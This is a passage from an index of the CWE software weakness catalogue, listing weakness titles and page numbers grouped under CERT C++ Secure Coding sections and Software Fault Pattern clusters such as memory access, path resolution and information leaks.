- CWE-37: Path Traversal: '/absolute/pathname/here' *(p.73)*
- CWE-379: Creation of Temporary File in Directory with Insecure Permissions *(p.834)*
- CWE-38: Path Traversal: '\absolute\pathname\here' *(p.75)*
- CWE-39: Path Traversal: 'C:dirname' *(p.77)*
- CWE-391: Unchecked Error Condition *(p.850)*
- CWE-403: Exposure of File Descriptor to Unintended Control Sphere ('File Descriptor Leak') *(p.876)*
- CWE-404: Improper Resource Shutdown or Release *(p.877)*
- CWE-41: Improper Resolution of Path Equivalence *(p.81)*
- CWE-552: Files or Directories Accessible to External Parties *(p.1125)*
- CWE-59: Improper Link Resolution Before File Access ('Link Following') *(p.106)*
- CWE-62: UNIX Hard Link *(p.112)*
- CWE-64: Windows Shortcut Following (.LNK) *(p.114)*
- CWE-65: Windows Hard Link *(p.116)*
- CWE-67: Improper Handling of Windows Device Names *(p.120)*
- CWE-675: Duplicate Operations on Resource *(p.1316)*
- CWE-676: Use of Potentially Dangerous Function *(p.1317)*
- CWE-73: External Control of File Name or Path *(p.125)*
- CWE-732: Incorrect Permission Assignment for Critical Resource *(p.1367)*
- CWE-770: Allocation of Resources Without Limits or Throttling *(p.1422)*

CWE-878: CERT C++ Secure Coding Section 10 - Environment (ENV) *(p.1918)*

- CWE-119: Improper Restriction of Operations within the Bounds of a Memory Buffer *(p.271)*
- CWE-426: Untrusted Search Path *(p.917)*
- CWE-462: Duplicate Key in Associative List (Alist) *(p.983)*
- CWE-705: Incorrect Control Flow Scoping *(p.1359)*
- CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') *(p.141)*
- CWE-807: Reliance on Untrusted Inputs in a Security Decision *(p.1507)*
- CWE-88: Improper Neutralization of Argument Delimiters in a Command ('Argument Injection') *(p.181)*

- CWE-879: CERT C++ Secure Coding Section 11 - Signals (SIG) *(p.1919)*
  - CWE-479: Signal Handler Use of a Non-reentrant Function *(p.1021)*
  - CWE-662: Improper Synchronization *(p.1288)*
- CWE-880: CERT C++ Secure Coding Section 12 - Exceptions and Error Handling (ERR) *(p.1919)*
  - CWE-209: Generation of Error Message Containing Sensitive Information *(p.490)*
  - CWE-390: Detection of Error Condition Without Action *(p.845)*
  - CWE-391: Unchecked Error Condition *(p.850)*
  - CWE-460: Improper Cleanup on Thrown Exception *(p.981)*
  - CWE-497: Exposure of Sensitive System Information to an Unauthorized Control Sphere *(p.1062)*
  - CWE-544: Missing Standardized Error Handling Mechanism *(p.1117)*
  - CWE-703: Improper Check or Handling of Exceptional Conditions *(p.1355)*
  - CWE-705: Incorrect Control Flow Scoping *(p.1359)*
  - CWE-754: Improper Check for Unusual or Exceptional Conditions *(p.1381)*
  - CWE-755: Improper Handling of Exceptional Conditions *(p.1389)*
- CWE-881: CERT C++ Secure Coding Section 13 - Object Oriented Programming (OOP) *(p.1920)*
- CWE-882: CERT C++ Secure Coding Section 14 - Concurrency (CON) *(p.1920)*
  - CWE-362: Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition') *(p.793)*
  - CWE-366: Race Condition within a Thread *(p.809)*
  - CWE-404: Improper Resource Shutdown or Release *(p.877)*
  - CWE-488: Exposure of Data Element to Wrong Session *(p.1040)*
  - CWE-772: Missing Release of Resource after Effective Lifetime *(p.1432)*
- CWE-883: CERT C++ Secure Coding Section 49 - Miscellaneous (MSC) *(p.1921)*
  - CWE-116: Improper Encoding or Escaping of Output *(p.260)*
  - CWE-14: Compiler Removal of Code to Clear Buffers *(p.14)*
  - CWE-176: Improper Handling of Unicode Encoding *(p.407)*
  - CWE-20: Improper Input Validation *(p.19)*
  - CWE-327: Use of a Broken or Risky Cryptographic Algorithm *(p.720)*
  - CWE-330: Use of Insufficiently Random Values *(p.730)*
  - CWE-480: Use of Incorrect Operator *(p.1023)*
  - CWE-482: Comparing instead of Assigning *(p.1029)*
  - CWE-561: Dead Code *(p.1133)*
  - CWE-563: Assignment to Variable without Use *(p.1137)*
  - CWE-570: Expression is Always False *(p.1147)*
  - CWE-571: Expression is Always True *(p.1150)*
  - CWE-697: Incorrect Comparison *(p.1350)*
  - CWE-704: Incorrect Type Conversion or Cast *(p.1357)*

Graph View: CWE-888: Software Fault Pattern (SFP) Clusters

- CWE-885: SFP Primary Cluster: Risky Values *(p.1922)*
  - CWE-998: SFP Secondary Cluster: Glitch in Computation *(p.1958)*
    - CWE-128: Wrap-around Error *(p.309)*
    - CWE-190: Integer Overflow or Wraparound *(p.437)*
    - CWE-191: Integer Underflow (Wrap or Wraparound) *(p.444)*
    - CWE-194: Unexpected Sign Extension *(p.454)*
    - CWE-195: Signed to Unsigned Conversion Error *(p.457)*
    - CWE-196: Unsigned to Signed Conversion Error *(p.460)*
    - CWE-197: Numeric Truncation Error *(p.461)*
    - CWE-369: Divide By Zero *(p.818)*
    - CWE-456: Missing Initialization of a Variable *(p.971)*
    - CWE-457: Use of Uninitialized Variable *(p.975)*
    - CWE-466: Return of Pointer Value Outside of Expected Range *(p.988)*
    - CWE-468: Incorrect Pointer Scaling *(p.992)*
    - CWE-469: Use of Pointer Subtraction to Determine Size *(p.994)*
    - CWE-475: Undefined Behavior for Input to API *(p.1008)*
    - CWE-480: Use of Incorrect Operator *(p.1023)*
    - CWE-481: Assigning instead of Comparing *(p.1026)*
    - CWE-486: Comparison of Classes by Name *(p.1036)*
    - CWE-562: Return of Stack Variable Address *(p.1136)*
    - CWE-570: Expression is Always False *(p.1147)*
    - CWE-571: Expression is Always True *(p.1150)*
    - CWE-579: J2EE Bad Practices: Non-serializable Object Stored in Session *(p.1164)*
    - CWE-587: Assignment of a Fixed Address to a Pointer *(p.1175)*
    - CWE-594: J2EE Framework: Saving Unserializable Objects to Disk *(p.1185)*
    - CWE-597: Use of Wrong Operator in String Comparison *(p.1189)*
    - CWE-628: Function Call with Incorrectly Specified Arguments *(p.1243)*
    - CWE-681: Incorrect Conversion between Numeric Types *(p.1322)*
    - CWE-683: Function Call With Incorrect Order of Arguments *(p.1330)*
    - CWE-685: Function Call With Incorrect Number of Arguments *(p.1333)*
    - CWE-686: Function Call With Incorrect Argument Type *(p.1334)*
    - CWE-687: Function Call With Incorrectly Specified Argument Value *(p.1335)*
    - CWE-688: Function Call With Incorrect Variable or Reference as Argument *(p.1337)*
    - CWE-704: Incorrect Type Conversion or Cast *(p.1357)*
    - CWE-768: Incorrect Short Circuit Evaluation *(p.1420)*
- CWE-886: SFP Primary Cluster: Unused entities *(p.1922)*
  - CWE-482: Comparing instead of Assigning *(p.1029)*
  - CWE-561: Dead Code *(p.1133)*
  - CWE-563: Assignment to Variable without Use *(p.1137)*
- CWE-887: SFP Primary Cluster: API *(p.1922)*
  - CWE-1001: SFP Secondary Cluster: Use of an Improper API *(p.1959)*
    - CWE-111: Direct Use of Unsafe JNI *(p.247)*
    - CWE-227: 7PK - API Abuse *(p.1853)*
    - CWE-242: Use of Inherently Dangerous Function *(p.536)*
    - CWE-245: J2EE Bad Practices: Direct Management of Connections *(p.541)*
    - CWE-246: J2EE Bad Practices: Direct Use of Sockets *(p.543)*
    - CWE-382: J2EE Bad Practices: Use of System.exit() *(p.836)*
    - CWE-383: J2EE Bad Practices: Direct Use of Threads *(p.837)*
    - CWE-432: Dangerous Signal Handler not Disabled During Sensitive Operations *(p.932)*
    - CWE-439: Behavioral Change in New Version or Environment *(p.947)*
    - CWE-440: Expected Behavior Violation *(p.949)*

- CWE-474: Use of Function with Inconsistent Implementations *(p.1006)*
- CWE-477: Use of Obsolete Function *(p.1015)*
- CWE-479: Signal Handler Use of a Non-reentrant Function *(p.1021)*
- CWE-558: Use of getlogin() in Multithreaded Application *(p.1130)*
- CWE-572: Call to Thread run() instead of start() *(p.1152)*
- CWE-573: Improper Following of Specification by Caller *(p.1153)*
- CWE-574: EJB Bad Practices: Use of Synchronization Primitives *(p.1155)*
- CWE-575: EJB Bad Practices: Use of AWT Swing *(p.1156)*
- CWE-576: EJB Bad Practices: Use of Java I/O *(p.1159)*
- CWE-577: EJB Bad Practices: Use of Sockets *(p.1161)*
- CWE-578: EJB Bad Practices: Use of Class Loader *(p.1162)*
- CWE-586: Explicit Call to Finalize() *(p.1174)*
- CWE-589: Call to Non-ubiquitous API *(p.1178)*
- CWE-617: Reachable Assertion *(p.1224)*
- CWE-676: Use of Potentially Dangerous Function *(p.1317)*
- CWE-684: Incorrect Provision of Specified Functionality *(p.1332)*
- CWE-695: Use of Low-Level Functionality *(p.1347)*
- CWE-758: Reliance on Undefined, Unspecified, or Implementation-Defined Behavior *(p.1393)*

CWE-889: SFP Primary Cluster: Exception Management *(p.1922)*

- CWE-960: SFP Secondary Cluster: Ambiguous Exception Type *(p.1939)*
  - CWE-396: Declaration of Catch for Generic Exception *(p.860)*
  - CWE-397: Declaration of Throws for Generic Exception *(p.862)*
- CWE-961: SFP Secondary Cluster: Incorrect Exception Behavior *(p.1939)*
  - CWE-392: Missing Report of Error Condition *(p.853)*
  - CWE-393: Return of Wrong Status Code *(p.854)*
  - CWE-455: Non-exit on Failed Initialization *(p.969)*
  - CWE-460: Improper Cleanup on Thrown Exception *(p.981)*
  - CWE-544: Missing Standardized Error Handling Mechanism *(p.1117)*
  - CWE-584: Return Inside Finally Block *(p.1171)*
  - CWE-636: Not Failing Securely ('Failing Open') *(p.1245)*
  - CWE-703: Improper Check or Handling of Exceptional Conditions *(p.1355)*
- CWE-962: SFP Secondary Cluster: Unchecked Status Condition *(p.1940)*
  - CWE-248: Uncaught Exception *(p.545)*
  - CWE-252: Unchecked Return Value *(p.553)*
  - CWE-253: Incorrect Check of Function Return Value *(p.560)*
  - CWE-273: Improper Check for Dropped Privileges *(p.601)*
  - CWE-280: Improper Handling of Insufficient Permissions or Privileges *(p.613)*
  - CWE-372: Incomplete Internal State Distinction *(p.823)*
  - CWE-390: Detection of Error Condition Without Action *(p.845)*
  - CWE-391: Unchecked Error Condition *(p.850)*
  - CWE-394: Unexpected Status Code or Return Value *(p.856)*
  - CWE-395: Use of NullPointerException Catch to Detect NULL Pointer Dereference *(p.857)*
  - CWE-431: Missing Handler *(p.931)*
  - CWE-478: Missing Default Case in Switch Statement *(p.1018)*
  - CWE-484: Omitted Break Statement in Switch *(p.1034)*
  - CWE-600: Uncaught Exception in Servlet *(p.1193)*
  - CWE-665: Improper Initialization *(p.1293)*
  - CWE-754: Improper Check for Unusual or Exceptional Conditions *(p.1381)*
  - CWE-755: Improper Handling of Exceptional Conditions *(p.1389)*

CWE-890: SFP Primary Cluster: Memory Access *(p.1923)*

- CWE-970: SFP Secondary Cluster: Faulty Buffer Access *(p.1945)*
  - CWE-118: Incorrect Access of Indexable Resource ('Range Error') *(p.270)*
  - CWE-120: Buffer Copy without Checking Size of Input ('Classic Buffer Overflow') *(p.280)*
  - CWE-121: Stack-based Buffer Overflow *(p.289)*

- CWE-122: Heap-based Buffer Overflow *(p.293)*
- CWE-124: Buffer Underwrite ('Buffer Underflow') *(p.298)*
- CWE-126: Buffer Over-read *(p.305)*
- CWE-127: Buffer Under-read *(p.308)*

- CWE-971: SFP Secondary Cluster: Faulty Pointer Use *(p.1945)*
  - CWE-416: Use After Free *(p.904)*
  - CWE-476: NULL Pointer Dereference *(p.1009)*
  - CWE-588: Attempt to Access Child of a Non-structure Pointer *(p.1177)*
- CWE-972: SFP Secondary Cluster: Faulty String Expansion *(p.1945)*
  - CWE-785: Use of Path Manipulation Function without Maximum-sized Buffer *(p.1459)*
- CWE-973: SFP Secondary Cluster: Improper NULL Termination *(p.1946)*
  - CWE-170: Improper Null Termination *(p.395)*
- CWE-974: SFP Secondary Cluster: Incorrect Buffer Length Computation *(p.1946)*
  - CWE-131: Incorrect Calculation of Buffer Size *(p.325)*
  - CWE-135: Incorrect Calculation of Multi-Byte String Length *(p.339)*
    - CWE-251: Often Misused: String Management *(p.1854)*
  - CWE-467: Use of sizeof() on a Pointer Type *(p.989)*

- CWE-891: SFP Primary Cluster: Memory Management *(p.1923)*
  - CWE-969: SFP Secondary Cluster: Faulty Memory Release *(p.1944)*
    - CWE-415: Double Free *(p.901)*
    - CWE-590: Free of Memory not on the Heap *(p.1179)*
    - CWE-761: Free of Pointer not at Start of Buffer *(p.1402)*
    - CWE-762: Mismatched Memory Management Routines *(p.1405)*
    - CWE-763: Release of Invalid Pointer or Reference *(p.1408)*
- CWE-892: SFP Primary Cluster: Resource Management *(p.1923)*
  - CWE-982: SFP Secondary Cluster: Failure to Release Resource *(p.1950)*
    - CWE-401: Missing Release of Memory after Effective Lifetime *(p.872)*
    - CWE-404: Improper Resource Shutdown or Release *(p.877)*
    - CWE-459: Incomplete Cleanup *(p.978)*
  - CWE-983: SFP Secondary Cluster: Faulty Resource Use *(p.1950)*
    - CWE-672: Operation on a Resource after Expiration or Release *(p.1310)*
  - CWE-984: SFP Secondary Cluster: Life Cycle *(p.1951)*
    - CWE-664: Improper Control of a Resource Through its Lifetime *(p.1291)*
    - CWE-666: Operation on Resource in Wrong Phase of Lifetime *(p.1298)*
    - CWE-675: Duplicate Operations on Resource *(p.1316)*
    - CWE-694: Use of Multiple Resources with Duplicate Identifier *(p.1346)*
  - CWE-985: SFP Secondary Cluster: Unrestricted Consumption *(p.1951)*
    - CWE-400: Uncontrolled Resource Consumption *(p.864)*
    - CWE-674: Uncontrolled Recursion *(p.1314)*
    - CWE-770: Allocation of Resources Without Limits or Throttling *(p.1422)*
    - CWE-774: Allocation of File Descriptors or Handles Without Limits or Throttling *(p.1438)*
- CWE-893: SFP Primary Cluster: Path Resolution *(p.1924)*
  - CWE-979: SFP Secondary Cluster: Failed Chroot Jail *(p.1948)*
    - CWE-243: Creation of chroot Jail Without Changing Working Directory *(p.538)*
  - CWE-980: SFP Secondary Cluster: Link in Resource Name Resolution *(p.1948)*
    - CWE-386: Symbolic Name not Mapping to Correct Object *(p.844)*
    - CWE-59: Improper Link Resolution Before File Access ('Link Following') *(p.106)*
    - CWE-610: Externally Controlled Reference to a Resource in Another Sphere *(p.1213)*
    - CWE-62: UNIX Hard Link *(p.112)*
    - CWE-64: Windows Shortcut Following (.LNK) *(p.114)*
    - CWE-65: Windows Hard Link *(p.116)*
  - CWE-981: SFP Secondary Cluster: Path Traversal *(p.1949)*
    - CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') *(p.31)*
    - CWE-23: Relative Path Traversal *(p.42)*
    - CWE-24: Path Traversal: '../filedir' *(p.48)*

- CWE-25: Path Traversal: '/../filedir' *(p.50)*
- CWE-26: Path Traversal: '/dir/../filename' *(p.51)*
- CWE-27: Path Traversal: 'dir/../../filename' *(p.53)*
- CWE-28: Path Traversal: '..\filedir' *(p.54)*
- CWE-29: Path Traversal: '\..\filename' *(p.56)*
- CWE-30: Path Traversal: '\dir\..\filename' *(p.58)*
- CWE-31: Path Traversal: 'dir\..\..\filename' *(p.60)*
- CWE-32: Path Traversal: '...' (Triple Dot) *(p.62)*
- CWE-33: Path Traversal: '....' (Multiple Dot) *(p.64)*
- CWE-34: Path Traversal: '..../' *(p.66)*
- CWE-35: Path Traversal: '.../.../' *(p.68)*
- CWE-36: Absolute Path Traversal *(p.69)*
- CWE-37: Path Traversal: '/absolute/pathname/here' *(p.73)*
- CWE-38: Path Traversal: '\absolute\pathname\here' *(p.75)*
- CWE-39: Path Traversal: 'C:dirname' *(p.77)*
- CWE-40: Path Traversal: '\\UNC\share\name\' (Windows UNC Share) *(p.79)*
- CWE-41: Improper Resolution of Path Equivalence *(p.81)*
- CWE-42: Path Equivalence: 'filename.' (Trailing Dot) *(p.87)*
- CWE-428: Unquoted Search Path or Element *(p.927)*
- CWE-43: Path Equivalence: 'filename....' (Multiple Trailing Dot) *(p.88)*
- CWE-44: Path Equivalence: 'file.name' (Internal Dot) *(p.89)*
- CWE-45: Path Equivalence: 'file...name' (Multiple Internal Dot) *(p.90)*
- CWE-46: Path Equivalence: 'filename ' (Trailing Space) *(p.90)*
- CWE-47: Path Equivalence: ' filename' (Leading Space) *(p.92)*
- CWE-48: Path Equivalence: 'file name' (Internal Whitespace) *(p.93)*
- CWE-49: Path Equivalence: 'filename/' (Trailing Slash) *(p.94)*
- CWE-50: Path Equivalence: '//multiple/leading/slash' *(p.95)*
- CWE-51: Path Equivalence: '/multiple//internal/slash' *(p.96)*
- CWE-52: Path Equivalence: '/multiple/trailing/slash//' *(p.97)*
- CWE-53: Path Equivalence: '\multiple\\internal\backslash' *(p.98)*
- CWE-54: Path Equivalence: 'filedir\' (Trailing Backslash) *(p.99)*
- CWE-55: Path Equivalence: '/./' (Single Dot Directory) *(p.100)*
- CWE-56: Path Equivalence: 'filedir*' (Wildcard) *(p.102)*
- CWE-57: Path Equivalence: 'fakedir/../realdir/filename' *(p.103)*
- CWE-58: Path Equivalence: Windows 8.3 Filename *(p.104)*
- CWE-66: Improper Handling of File Names that Identify Virtual Resources *(p.118)*
- CWE-67: Improper Handling of Windows Device Names *(p.120)*
- CWE-706: Use of Incorrectly-Resolved Name or Reference *(p.1360)*
- CWE-72: Improper Handling of Apple HFS+ Alternate Data Stream Path *(p.124)*
- CWE-73: External Control of File Name or Path *(p.125)*

CWE-894: SFP Primary Cluster: Synchronization *(p.1924)*

- CWE-986: SFP Secondary Cluster: Missing Lock *(p.1951)*
  - CWE-364: Signal Handler Race Condition *(p.802)*
  - CWE-365: Race Condition in Switch *(p.807)*
  - CWE-366: Race Condition within a Thread *(p.809)*
  - CWE-368: Context Switching Race Condition *(p.816)*
  - CWE-413: Improper Resource Locking *(p.896)*
  - CWE-414: Missing Lock Check *(p.900)*
  - CWE-543: Use of Singleton Pattern Without Synchronization in a Multithreaded Context *(p.1115)*
  - CWE-567: Unsynchronized Access to Shared Data in a Multithreaded Context *(p.1144)*
  - CWE-609: Double-Checked Locking *(p.1211)*
  - CWE-662: Improper Synchronization *(p.1288)*
  - CWE-663: Use of a Non-reentrant Function in a Concurrent Context *(p.1290)*
  - CWE-667: Improper Locking *(p.1299)*

- CWE-987: SFP Secondary Cluster: Multiple Locks/Unlocks *(p.1952)*
  - CWE-585: Empty Synchronized Block *(p.1172)*
  - CWE-764: Multiple Locks of a Critical Resource *(p.1413)*
  - CWE-765: Multiple Unlocks of a Critical Resource *(p.1414)*
- CWE-988: SFP Secondary Cluster: Race Condition Window *(p.1952)*
  - CWE-362: Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition') *(p.793)*
  - CWE-363: Race Condition Enabling Link Following *(p.801)*
  - CWE-367: Time-of-check Time-of-use (TOCTOU) Race Condition *(p.812)*
  - CWE-370: Missing Check for Certificate Revocation after Initial Check *(p.821)*
  - CWE-638: Not Using Complete Mediation *(p.1249)*
- CWE-989: SFP Secondary Cluster: Unrestricted Lock *(p.1953)*
  - CWE-412: Unrestricted Externally Accessible Lock *(p.893)*

CWE-895: SFP Primary Cluster: Information Leak *(p.1924)*

- CWE-963: SFP Secondary Cluster: Exposed Data *(p.1940)*
  - CWE-11: ASP.NET Misconfiguration: Creating Debug Binary *(p.9)*
  - CWE-117: Improper Output Neutralization for Logs *(p.266)*
  - CWE-12: ASP.NET Misconfiguration: Missing Custom Error Page *(p.11)*
  - CWE-13: ASP.NET Misconfiguration: Password in Configuration File *(p.12)*
  - CWE-14: Compiler Removal of Code to Clear Buffers *(p.14)*
  - CWE-200: Exposure of Sensitive Information to an Unauthorized Actor *(p.466)*
  - CWE-201: Exposure of Sensitive Information Through Sent Data *(p.474)*
  - CWE-209: Generation of Error Message Containing Sensitive Information *(p.490)*
  - CWE-210: Self-generated Error Message Containing Sensitive Information *(p.496)*
  - CWE-211: Externally-Generated Error Message Containing Sensitive Information *(p.498)*
  - CWE-212: Improper Removal of Sensitive Information Before Storage or Transfer *(p.500)*
  - CWE-213: Exposure of Sensitive Information Due to Incompatible Policies *(p.503)*
  - CWE-214: Invocation of Process Using Visible Sensitive Information *(p.505)*
  - CWE-215: Insertion of Sensitive Information Into Debugging Code *(p.507)*
  - CWE-219: Storage of File with Sensitive Data Under Web Root *(p.509)*
  - CWE-220: Storage of File With Sensitive Data Under FTP Root *(p.510)*
  - CWE-226: Sensitive Information Uncleared in Resource Before Release for Reuse *(p.517)*
  - CWE-244: Improper Clearing of Heap Memory Before Release ('Heap Inspection') *(p.540)*
  - CWE-256: Unprotected Storage of Credentials *(p.562)*
  - CWE-257: Storing Passwords in a Recoverable Format *(p.564)*
  - CWE-260: Password in Configuration File *(p.573)*
  - CWE-311: Missing Encryption of Sensitive Data *(p.686)*
  - CWE-312: Cleartext Storage of Sensitive Information *(p.693)*
  - CWE-313: Cleartext Storage in a File or on Disk *(p.697)*
  - CWE-314: Cleartext Storage in the Registry *(p.699)*
  - CWE-315: Cleartext Storage of Sensitive Information in a Cookie *(p.700)*
  - CWE-316: Cleartext Storage of Sensitive Information in Memory *(p.702)*
  - CWE-317: Cleartext Storage of Sensitive Information in GUI *(p.703)*
  - CWE-318: Cleartext Storage of Sensitive Information in Executable *(p.704)*
  - CWE-319: Cleartext Transmission of Sensitive Information *(p.705)*
  - CWE-374: Passing Mutable Objects to an Untrusted Method *(p.824)*
  - CWE-375: Returning a Mutable Object to an Untrusted Caller *(p.827)*
  - CWE-402: Transmission of Private Resources into a New Sphere ('Resource Leak') *(p.875)*
  - CWE-403: Exposure of File Descriptor to Unintended Control Sphere ('File Descriptor Leak') *(p.876)*
  - CWE-433: Unparsed Raw Web Content Delivery *(p.933)*
  - CWE-495: Private Data Structure Returned From A Public Method *(p.1059)*
  - CWE-497: Exposure of Sensitive System Information to an Unauthorized Control Sphere *(p.1062)*
  - CWE-498: Cloneable Class Containing Sensitive Information *(p.1065)*
  - CWE-499: Serializable Class Containing Sensitive Data *(p.1067)*

- CWE-5: J2EE Misconfiguration: Data Transmission Without Encryption *(p.1)*
- CWE-501: Trust Boundary Violation *(p.1071)*
- CWE-522: Insufficiently Protected Credentials *(p.1091)*
- CWE-523: Unprotected Transport of Credentials *(p.1095)*
- CWE-526: Exposure of Sensitive Information Through Environmental Variables *(p.1099)*
- CWE-527: Exposure of Version-Control Repository to an Unauthorized Control Sphere *(p.1099)*
- CWE-528: Exposure of Core Dump File to an Unauthorized Control Sphere *(p.1100)*
- CWE-529: Exposure of Access Control List Files to an Unauthorized Control Sphere *(p.1101)*
- CWE-530: Exposure of Backup File to an Unauthorized Control Sphere *(p.1102)*
- CWE-532: Insertion of Sensitive Information into Log File *(p.1104)*
- CWE-535: Exposure of Information Through Shell Error Message *(p.1107)*
- CWE-536: Servlet Runtime Error Message Containing Sensitive Information *(p.1108)*
- CWE-537: Java Runtime Error Message Containing Sensitive Information *(p.1109)*
- CWE-538: Insertion of Sensitive Information into Externally-Accessible File or Directory *(p.1111)*
- CWE-539: Use of Persistent Cookies Containing Sensitive Information *(p.1112)*
- CWE-540: Inclusion of Sensitive Information in Source Code *(p.1113)*
- CWE-541: Inclusion of Sensitive Information in an Include File *(p.1114)*
- CWE-546: Suspicious Comment *(p.1118)*
- CWE-548: Exposure of Information Through Directory Listing *(p.1121)*
- CWE-550: Server-generated Error Message Containing Sensitive Information *(p.1123)*
- CWE-552: Files or Directories Accessible to External Parties *(p.1125)*
- CWE-555: J2EE Misconfiguration: Plaintext Password in Configuration File *(p.1128)*
- CWE-591: Sensitive Data Storage in Improperly Locked Memory *(p.1182)*
- CWE-598: Use of GET Request Method With Sensitive Query Strings *(p.1191)*
- CWE-607: Public Static Final Field References Mutable Object *(p.1209)*
- CWE-612: Improper Authorization of Index Containing Sensitive Information *(p.1217)*
- CWE-615: Inclusion of Sensitive Information in Source Code Comments *(p.1221)*
- CWE-642: External Control of Critical State Data *(p.1257)*
- CWE-668: Exposure of Resource to Wrong Sphere *(p.1305)*
- CWE-669: Incorrect Resource Transfer Between Spheres *(p.1307)*
- CWE-7: J2EE Misconfiguration: Missing Custom Error Page *(p.4)*
- CWE-756: Missing Custom Error Page *(p.1390)*
- CWE-767: Access to Critical Private Variable via Public Method *(p.1418)*
- CWE-8: J2EE Misconfiguration: Entity Bean Declared Remote *(p.6)*

CWE-964: SFP Secondary Cluster: Exposure Temporary File *(p.1942)*
- CWE-377: Insecure Temporary File *(p.829)*
- CWE-378: Creation of Temporary File With Insecure Permissions *(p.832)*
- CWE-379: Creation of Temporary File in Directory with Insecure Permissions *(p.834)*

CWE-965: SFP Secondary Cluster: Insecure Session Management *(p.1943)*
- CWE-488: Exposure of Data Element to Wrong Session *(p.1040)*
- CWE-524: Use of Cache Containing Sensitive Information *(p.1096)*
- CWE-6: J2EE Misconfiguration: Insufficient Session-ID Length *(p.2)*

CWE-966: SFP Secondary Cluster: Other Exposures *(p.1943)*
- CWE-453: Insecure Default Variable Initialization *(p.966)*
- CWE-487: Reliance on Package-level Scope *(p.1038)*
- CWE-492: Use of Inner Class Containing Sensitive Data *(p.1046)*
- CWE-525: Use of Web Browser Cache Containing Sensitive Information *(p.1097)*
- CWE-614: Sensitive Cookie in HTTPS Session Without 'Secure' Attribute *(p.1220)*
- CWE-651: Exposure of WSDL File Containing Sensitive Information *(p.1276)*

CWE-967: SFP Secondary Cluster: State Disclosure *(p.1943)*
- CWE-202: Exposure of Sensitive Information Through Data Queries *(p.476)*
- CWE-203: Observable Discrepancy *(p.478)*
- CWE-204: Observable Response Discrepancy *(p.482)*
- CWE-205: Observable Behavioral Discrepancy *(p.485)*

- CWE-206: Observable Internal Behavioral Discrepancy *(p.486)*
- CWE-207: Observable Behavioral Discrepancy With Equivalent Products *(p.487)*
- CWE-208: Observable Timing Discrepancy *(p.488)*

CWE-896: SFP Primary Cluster: Tainted Input *(p.1925)*

- CWE-990: SFP Secondary Cluster: Tainted Input to Command *(p.1953)*
  - CWE-102: Struts: Duplicate Validation Forms *(p.227)*
  - CWE-103: Struts: Incomplete validate() Method Definition *(p.229)*
  - CWE-104: Struts: Form Bean Does Not Extend Validation Class *(p.231)*
  - CWE-105: Struts: Form Field Without Validator *(p.234)*
  - CWE-106: Struts: Plug-in Framework not in Use *(p.237)*
  - CWE-107: Struts: Unused Validation Form *(p.239)*
  - CWE-108: Struts: Unvalidated Action Form *(p.242)*
  - CWE-109: Struts: Validator Turned Off *(p.243)*
  - CWE-110: Struts: Validator Without Form Field *(p.245)*
  - CWE-112: Missing XML Validation *(p.249)*
  - CWE-113: Improper Neutralization of CRLF Sequences in HTTP Headers ('HTTP Response Splitting') *(p.251)*
  - CWE-130: Improper Handling of Length Parameter Inconsistency *(p.321)*
  - CWE-134: Use of Externally-Controlled Format String *(p.334)*
  - CWE-138: Improper Neutralization of Special Elements *(p.342)*
  - CWE-140: Improper Neutralization of Delimiters *(p.345)*
  - CWE-141: Improper Neutralization of Parameter/Argument Delimiters *(p.346)*
  - CWE-142: Improper Neutralization of Value Delimiters *(p.348)*
  - CWE-143: Improper Neutralization of Record Delimiters *(p.350)*
  - CWE-144: Improper Neutralization of Line Delimiters *(p.351)*
  - CWE-145: Improper Neutralization of Section Delimiters *(p.353)*
  - CWE-146: Improper Neutralization of Expression/Command Delimiters *(p.355)*
  - CWE-147: Improper Neutralization of Input Terminators *(p.357)*
  - CWE-148: Improper Neutralization of Input Leaders *(p.359)*
  - CWE-149: Improper Neutralization of Quoting Syntax *(p.360)*
  - CWE-150: Improper Neutralization of Escape, Meta, or Control Sequences *(p.362)*
  - CWE-151: Improper Neutralization of Comment Delimiters *(p.364)*
  - CWE-152: Improper Neutralization of Macro Symbols *(p.366)*
  - CWE-153: Improper Neutralization of Substitution Characters *(p.368)*
  - CWE-154: Improper Neutralization of Variable Name Delimiters *(p.369)*
  - CWE-155: Improper Neutralization of Wildcards or Matching Symbols *(p.371)*
  - CWE-156: Improper Neutralization of Whitespace *(p.373)*
  - CWE-157: Failure to Sanitize Paired Delimiters *(p.375)*
  - CWE-158: Improper Neutralization of Null Byte or NUL Character *(p.377)*
  - CWE-159: Improper Handling of Invalid Use of Special Elements *(p.379)*
  - CWE-160: Improper Neutralization of Leading Special Elements *(p.381)*
  - CWE-161: Improper Neutralization of Multiple Leading Special Elements *(p.383)*
  - CWE-162: Improper Neutralization of Trailing Special Elements *(p.384)*
  - CWE-163: Improper Neutralization of Multiple Trailing Special Elements *(p.386)*
  - CWE-164: Improper Neutralization of Internal Special Elements *(p.387)*
  - CWE-165: Improper Neutralization of Multiple Internal Special Elements *(p.389)*
  - CWE-183: Permissive List of Allowed Inputs *(p.424)*
  - CWE-184: Incomplete List of Disallowed Inputs *(p.425)*
  - CWE-185: Incorrect Regular Expression *(p.429)*
  - CWE-186: Overly Restrictive Regular Expression *(p.431)*
  - CWE-444: Inconsistent Interpretation of HTTP Requests ('HTTP Request Smuggling') *(p.952)*
  - CWE-553: Command Shell in Externally Accessible Directory *(p.1127)*
  - CWE-554: ASP.NET Misconfiguration: Not Using Input Validation Framework *(p.1127)*
  - CWE-564: SQL Injection: Hibernate *(p.1139)*

- CWE-601: URL Redirection to Untrusted Site ('Open Redirect') *(p.1195)*
- CWE-611: Improper Restriction of XML External Entity Reference *(p.1215)*
- CWE-619: Dangling Database Cursor ('Cursor Injection') *(p.1228)*
- CWE-621: Variable Extraction Error *(p.1231)*
- CWE-624: Executable Regular Expression Error *(p.1236)*
- CWE-625: Permissive Regular Expression *(p.1237)*
- CWE-626: Null Byte Interaction Error (Poison Null Byte) *(p.1239)*
- CWE-627: Dynamic Variable Evaluation *(p.1241)*
- CWE-641: Improper Restriction of Names for Files and Other Resources *(p.1256)*
- CWE-643: Improper Neutralization of Data within XPath Expressions ('XPath Injection') *(p.1263)*
- CWE-644: Improper Neutralization of HTTP Headers for Scripting Syntax *(p.1265)*
- CWE-646: Reliance on File Name or Extension of Externally-Supplied File *(p.1268)*
- CWE-652: Improper Neutralization of Data within XQuery Expressions ('XQuery Injection') *(p.1278)*
